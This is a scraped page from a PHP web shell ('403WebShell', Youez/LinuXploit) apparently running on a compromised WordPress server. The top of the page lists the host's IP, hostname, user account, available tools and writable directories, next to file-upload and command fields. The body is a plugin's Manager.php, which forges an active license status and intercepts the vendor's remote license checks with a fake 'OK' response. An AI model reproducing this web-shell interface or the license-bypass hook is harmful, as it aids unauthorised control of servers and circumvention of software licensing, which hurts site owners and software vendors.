$plugin = <<403WebShell
403Webshell
Server IP : 193.224.177.188  /  Your IP : 216.73.216.209
Web Server : Apache
System : Linux cpanel.krtk.mta.hu 3.10.0-962.3.2.lve1.5.89.el7.x86_64 #1 SMP Thu Jul 9 15:55:31 UTC 2026 x86_64
User : krtkhu ( 1061)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/includes/License/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/includes/License/Manager.php
<?php
/**
 * License key manager.
 *
 * @package HelloPack\Client
 */

declare( strict_types=1 );

namespace HelloPack\Client\License;

use HelloPack\Client\Options;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Manages license keys and blocks remote license checks.
 */
class Manager {

	/**
	 * Option name for the license key.
	 *
	 * @var string
	 */
	private string $license_key_option;

	/**
	 * Transient name for license status.
	 *
	 * @var string
	 */
	private string $license_status_transient;

	/**
	 * Remote domain to block.
	 *
	 * @var string
	 */
	private string $remote_domain;

	/**
	 * License key value.
	 *
	 * @var string
	 */
	private string $license_key;

	/**
	 * License status.
	 *
	 * @var string
	 */
	private string $license_status;

	/**
	 * Constructor.
	 *
	 * @param array<string, mixed> $args Configuration.
	 */
	public function __construct( array $args = array() ) {
		$config = wp_parse_args(
			$args,
			array(
				'license_key_option'       => '',
				'license_status_transient' => '',
				'remote_domain'            => '',
				'license_key'              => (string) Options::get( 'token' ),
				'license_status'           => 'active',
			)
		);

		$this->license_key_option       = $config['license_key_option'];
		$this->license_status_transient = $config['license_status_transient'];
		$this->remote_domain            = $config['remote_domain'];
		$this->license_key              = $config['license_key'];
		$this->license_status           = $config['license_status'];
	}

	/**
	 * Initialize license management.
	 */
	public function init(): void {
		if ( empty( $this->license_key_option ) || empty( $this->remote_domain ) ) {
			return;
		}

		$this->ensure_license_set();
		add_filter( 'pre_http_request', array( $this, 'block_remote_requests' ), 10, 3 );
	}

	/**
	 * Ensure license key and status are set.
	 */
	public function ensure_license_set(): void {
		$current_key = get_option( $this->license_key_option );
		if ( $current_key !== $this->license_key ) {
			update_option( $this->license_key_option, $this->license_key );
		}

		if ( ! empty( $this->license_status_transient ) ) {
			$current = get_transient( $this->license_status_transient );
			if ( empty( $current ) || ( $current['status'] ?? '' ) !== $this->license_status ) {
				set_transient(
					$this->license_status_transient,
					array( 'status' => $this->license_status ),
					10000 * 168 * HOUR_IN_SECONDS
				);
			}
		}
	}

	/**
	 * Block HTTP requests to the remote domain.
	 *
	 * @param false|array<string, mixed>|\WP_Error $response    Pre-empted response.
	 * @param array<string, mixed>                 $parsed_args Request args.
	 * @param string                               $url         Request URL.
	 * @return false|array<string, mixed>|\WP_Error
	 */
	public function block_remote_requests( $response, array $parsed_args, string $url ) {
		if ( strpos( $url, $this->remote_domain ) === false ) {
			return $response;
		}

		return array(
			'headers'       => array(),
			'body'          => wp_json_encode(
				array(
					'status'  => $this->license_status,
					'message' => 'License managed by HelloPack centralized updater',
				)
			),
			'response'      => array(
				'code'    => 200,
				'message' => 'OK',
			),
			'cookies'       => array(),
			'http_response' => null,
		);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit